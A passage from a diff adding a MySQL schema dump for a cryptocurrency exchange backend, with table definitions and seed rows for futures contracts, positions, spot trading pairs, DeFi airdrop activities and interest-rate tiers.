NULL); +INSERT INTO `t_contract_coin` VALUES (8, 'xrpusdt', 'xrp', 'USDT', 1.00000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 4, '2023-08-21 19:33:34', '2023-08-21 19:37:36', 'XRP/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (9, 'ltcusdt', 'ltc', 'USDT', 0.01000000, '2,5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 1000.00, NULL, 5, '2023-08-21 19:35:59', '2023-08-21 19:41:39', 'LTC/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (10, 'bnbusdt', 'bnb', 'USDT', 0.00100000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 1000.00, NULL, 6, '2023-08-21 19:41:07', NULL, 'BNB/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (11, 'maticusdt', 'matic', 'USDT', 0.01000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 7, '2023-08-21 19:42:41', NULL, 'MATIC/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (12, 'solusdt', 'sol', 'USDt', 0.01000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 100000.00, NULL, 8, '2023-08-21 19:43:44', NULL, 'SOL/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (13, 'dogeusdt', 'doge', 'USDT', 1.00000000, '5,10,20,50', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 13, '2023-08-21 19:45:30', '2023-08-22 10:01:00', 'DOGE/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); +INSERT INTO `t_contract_coin` VALUES (14, 'leverusdt', 'lever', 'USDT', 100.00000000, '5,10,20', 0, 0, 0, 0, 0, 0, 0, 0.00100000, 0.00100000, 0.00100000, 8.00, 4.00, 4.00, 1.00, 10000.00, NULL, 13, '2023-08-22 17:18:20', '2023-08-22 17:18:48', 'LEVER/USDT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', 'binance', 0, 0.0000, 0.0000, 0.0000, 0.000000, NULL); + +-- ---------------------------- +-- Table structure for t_contract_loss +-- ---------------------------- +DROP TABLE IF EXISTS `t_contract_loss`; +CREATE TABLE `t_contract_loss` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `delegate_type` tinyint(1) NULL DEFAULT NULL COMMENT '委托类型(0 限价 1 市价)', + `status` tinyint(1) NULL DEFAULT NULL COMMENT '状态 0 正常 1 删除 2 撤销', + `position_id` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '仓位ID', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `earn_price` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止盈触发价', + `lose_price` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止损触发价', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `earn_delegate_price` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止盈委托价', + `lose_delegate_price` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止损委托价', + `earn_number` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止盈数量', + `lose_number` decimal(20, 6) NOT NULL DEFAULT 0.000000 COMMENT '止损数量', + `loss_type` int(0) NULL DEFAULT NULL COMMENT '0 止盈 1止损', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `type` int(0) NULL DEFAULT NULL, + `leverage` decimal(4, 0) NULL DEFAULT NULL, + `symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_contract_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_contract_order`; +CREATE TABLE `t_contract_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `type` tinyint(1) NOT NULL COMMENT '(0 买多 1卖空)', + `delegate_type` tinyint(1) NOT NULL COMMENT '委托类型(0 限价 1 市价 2 止盈止损 3 计划委托)', + `status` tinyint(1) NULL DEFAULT NULL COMMENT '状态 0 (等待成交 1 完全成交 3已撤销)', + `delegate_total` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托总量', + `delegate_price` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托价格', + `deal_num` decimal(20, 6) NULL DEFAULT NULL COMMENT '已成交量', + `deal_price` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交价', + `delegate_value` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托价值', + `deal_value` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交价值', + `delegate_time` datetime(0) NULL DEFAULT NULL COMMENT '委托时间', + `deal_time` datetime(0) NULL DEFAULT NULL COMMENT '成交时间', + `coin_symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '交易币种', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `order_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '订单编号', + `user_id` bigint(0) NOT NULL COMMENT '用户id', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `fee` decimal(20, 4) NULL DEFAULT NULL COMMENT '手续费', + `base_coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '基础币种(USDT)', + `leverage` decimal(4, 0) NULL DEFAULT NULL COMMENT '杠杆', + `symbol` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '交易对', + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '代理IDS', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_contract_position +-- ---------------------------- +DROP TABLE IF EXISTS `t_contract_position`; +CREATE TABLE `t_contract_position` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `type` tinyint(1) NOT NULL COMMENT '(0 买多 1卖空)', + `delegate_type` tinyint(1) NOT NULL COMMENT '委托类型(0 限价 1 市价 2 止盈止损 3 计划委托)', + `status` tinyint(1) NOT NULL COMMENT '状态 0 (等待成交 1 完全成交 ', + `amount` decimal(20, 4) NOT NULL COMMENT '保证金', + `open_num` decimal(20, 8) NOT NULL COMMENT '持仓数量', + `open_price` decimal(20, 8) NOT NULL COMMENT '开仓均价', + `close_price` decimal(20, 8) NOT NULL COMMENT '预计强平价', + `order_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '仓位编号', + `user_id` bigint(0) NOT NULL COMMENT '用户id', + `open_fee` decimal(20, 4) NOT NULL COMMENT '开仓手续费', + `leverage` decimal(4, 0) NOT NULL COMMENT '杠杆', + `symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '交易对', + `create_time` datetime(0) NOT NULL COMMENT '创建时间', + `adjust_amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '调整保证金', + `earn` decimal(20, 4) NULL DEFAULT NULL COMMENT '收益', + `deal_price` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '成交价', + `deal_num` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交量', + `deal_time` datetime(0) NULL DEFAULT NULL COMMENT '成交时间', + `sell_fee` decimal(20, 4) NULL DEFAULT NULL COMMENT '卖出手续费', + `remain_margin` decimal(20, 8) NULL DEFAULT 0.00000000 COMMENT '剩余保证金', + `asset_fee` decimal(20, 4) NULL DEFAULT NULL COMMENT '周期手续费', + `entrustment_value` decimal(20, 4) NULL DEFAULT NULL, + `deal_value` decimal(20, 4) NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '代理IDS', + `audit_status` int(0) NULL DEFAULT 0 COMMENT '审核', + `delivery_days` int(0) NULL DEFAULT 0 COMMENT '交割时间', + `min_margin` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '最小保证金', + `loss_rate` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '止损率', + `earn_rate` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '止盈率', + `sub_time` datetime(0) NULL DEFAULT NULL COMMENT '提交时间', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_currency_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_currency_order`; +CREATE TABLE `t_currency_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `type` tinyint(1) NULL DEFAULT NULL COMMENT '(0 买入 1卖出)', + `delegate_type` tinyint(1) NULL DEFAULT NULL COMMENT '委托类型(0 限价 1 市价 2 止盈止损 3 计划委托)', + `status` tinyint(1) NULL DEFAULT NULL COMMENT '状态 0 (等待成交 1 完全成交 3已撤销)', + `order_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '订单编号', + `symbol` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '交易币种', + `coin` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '结算币种', + `delegate_total` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托总量', + `delegate_price` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托价格', + `delegate_value` decimal(20, 4) NULL DEFAULT NULL COMMENT '委托价值', + `delegate_time` datetime(0) NULL DEFAULT NULL COMMENT '委托时间', + `deal_num` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交总量', + `deal_price` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交价格', + `deal_value` decimal(20, 4) NULL DEFAULT NULL COMMENT '成交价值', + `deal_time` datetime(0) NULL DEFAULT NULL COMMENT '成交时间', + `fee` decimal(20, 4) NULL DEFAULT NULL COMMENT '手续费', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '后台代理ids', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 327 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '币币交易订单表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_currency_symbol +-- ---------------------------- +DROP TABLE IF EXISTS `t_currency_symbol`; +CREATE TABLE `t_currency_symbol` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键id', + `symbol` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易对', + `show_symbol` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '展示交易对', + `coin` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易币种', + `base_coin` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '结算币种', + `fee_rate` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '手续费率', + `coin_precision` tinyint(0) NULL DEFAULT 0 COMMENT '交易币种精度', + `base_precision` tinyint(0) NULL DEFAULT 0 COMMENT '结算币种精度', + `sell_min` decimal(20, 6) NULL DEFAULT 1.000000 COMMENT '最低卖单价', + `buy_max` decimal(20, 6) NULL DEFAULT 100000.000000 COMMENT '最高买单价', + `order_min` decimal(20, 6) NULL DEFAULT 1.000000 COMMENT '最小下单量', + `order_max` decimal(20, 6) NULL DEFAULT 100000.000000 COMMENT '最大下单量', + `enable` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '启用禁用 1=启用 2=禁用', + `is_show` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '前端是否显示 1=显示 2=隐藏', + `is_deal` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '是否可交易 1=是 2=否', + `market_buy` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '市价买 1=可以 2=不可以', + `market_sell` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '市价卖 1=可以 2=不可以', + `limited_buy` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '限价买 1=可以 2=不可以', + `limited_sell` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '限价卖 1=可以 2=不可以', + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所', + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `min_sell` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '最低卖出量', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '币币交易币种配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_currency_symbol +-- ---------------------------- +INSERT INTO `t_currency_symbol` VALUES (29, 'btcusdt', 'BTC/USDT', 'btc', 'usdt', 0.000000, 4, 4, 100000.000000, 100000.000000, 100.000000, 10000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'binance', 'admin', NULL, 'admin', '2023-11-23 21:14:01', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (30, 'ethusdt', 'ETH/USDT', 'eth', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:29:43', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (31, 'xrpusdt', 'XRP/USDT', 'xrp', 'usdt', 0.000000, 4, 4, 1000.000000, 1000.000000, 0.000000, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:29:53', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (32, 'ltcusdt', 'LTC/USDT', 'ltc', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:29:58', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (33, 'bnbusdt', 'BNB/USDT', 'bnb', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:02', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (34, 'maticusdt', 'BTC/USDT', 'matic', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:25', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (35, 'solusdt', 'SOL/USDT', 'sol', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:30', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (37, 'trxusdt', 'TRX/USDT', 'trx', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:34', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (40, 'blzusdt', 'BLZ/USDT', 'blz', 'usdt', 0.000000, 4, 4, 1000.000000, 1000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:39', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (41, 'runeusdt', 'BTC/USDT', 'rune', 'usdt', 0.000000, 4, 4, 1000.000000, 1000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thorchain.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:43', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (42, 'leverusdt', 'LEVER/USDT', 'lever', 'usdt', 1.000000, 4, 4, 1000.000000, 1000.000000, 0.000100, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', 'binance', 'admin', NULL, 'admin', '2023-08-22 20:19:03', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (43, 'adausdt', 'BTC/USDT', 'ada', 'usdt', 1.000000, 4, 4, 1000.000000, 1000.000000, 0.010000, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardano.png', 'binance', 'admin', NULL, 'admin', '2023-08-22 20:19:18', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (44, 'dogeusdt', 'DOGE/USDT', 'doge', 'usdt', 1.000000, 0, 0, 1.000000, 100000.000000, 1.000000, 100000000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', 'binance', 'admin', NULL, 'admin', '2023-08-23 11:00:56', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (45, 'gmeeusdt', 'GMEE/USDT', 'gmee', 'usdt', 0.005000, 0, 0, 1.000000, 100000.000000, 10.000000, 10.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamee.png', 'huobi', 'admin', NULL, 'admin', '2024-02-11 16:21:31', NULL, NULL, 10.000000); + +-- ---------------------------- +-- Table structure for t_defi_activity +-- ---------------------------- +DROP TABLE IF EXISTS `t_defi_activity`; +CREATE TABLE `t_defi_activity` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `totle_amount` decimal(22, 6) NULL DEFAULT NULL COMMENT '需要金额', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '结束时间', + `amount` decimal(22, 6) NULL DEFAULT NULL COMMENT '奖励金额', + `type` int(0) NULL DEFAULT NULL COMMENT '0-usdt 1-eth', + `status` int(0) NULL DEFAULT 0 COMMENT '0未领取 1已读 2已领取', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 3 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '空投活动' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_defi_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_defi_order`; +CREATE TABLE `t_defi_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `amount` decimal(22, 6) NULL DEFAULT NULL COMMENT '收益金额', + `totle_amount` decimal(22, 6) NULL DEFAULT NULL COMMENT '钱包金额', + `rate` decimal(22, 6) NULL DEFAULT NULL COMMENT '收益率', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '代理ids', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = 'defi订单' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_defi_rate +-- ---------------------------- +DROP TABLE IF EXISTS `t_defi_rate`; +CREATE TABLE `t_defi_rate` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `min_amount` decimal(22, 4) NULL DEFAULT NULL COMMENT '最小金额', + `max_amount` decimal(22, 4) NULL DEFAULT NULL COMMENT '最大金额', + `rate` decimal(22, 6) NULL DEFAULT NULL COMMENT '利率', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = 'defi挖矿利率配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_defi_rate +-- ---------------------------- +INSERT INTO `t_defi_rate` VALUES (1, 1.0000, 4999.0000, 0.010000, '', '2023-08-19 19:34:22', '', '2023-08-24 23:49:24', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (2, 5000.0000, 19999.0000, 0.013000, '', '2023-08-19 19:34:31', '', '2023-08-24 23:49:40', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (3, 20000.0000, 49999.0000, 0.016000, '', '2023-08-19 19:34:45', '', '2023-08-24 23:49:46', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (4, 50000.0000, 99999.0000, 0.020000, '', '2023-08-19 19:34:56', '', '2023-08-24 23:49:54', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (5, 100000.0000, 299999.0000, 0.025000, '', '2023-08-19 19:35:10', '', '2023-08-24 23:49:59', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (6, 300000.0000, 2000000.0000, 0.030000, '', '2023-08-24 23:47:59', '', '2023-08-24 23:50:09', NULL, NULL); + +-- ---------------------------- +-- Table structure for t_exchange_coin_record +-- ---------------------------- +DROP TABLE IF EXISTS `t_exchange_coin_record`; +CREATE TABLE `t_exchange_coin_record` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `from_coin` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT 'USDT', + `to_coin` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT 'USDT', + `user_id` int(0) NOT NULL COMMENT '用户id', + `username` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '\n用户名称', + `address` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户地址', + `status` tinyint(0) NULL DEFAULT 0 COMMENT '兑换状态0:已提交;1:成功;2失败', + `amount` decimal(20, 11) NOT NULL DEFAULT 0.00000000000 COMMENT '金额', + `third_rate` decimal(20, 12) NULL DEFAULT 0.000000000000 COMMENT '三方汇率', + `system_rate` decimal(20, 12) NULL DEFAULT 0.000000000000 COMMENT '系统汇率', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NOT NULL DEFAULT CURRENT_TIMESTAMP(0), + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE 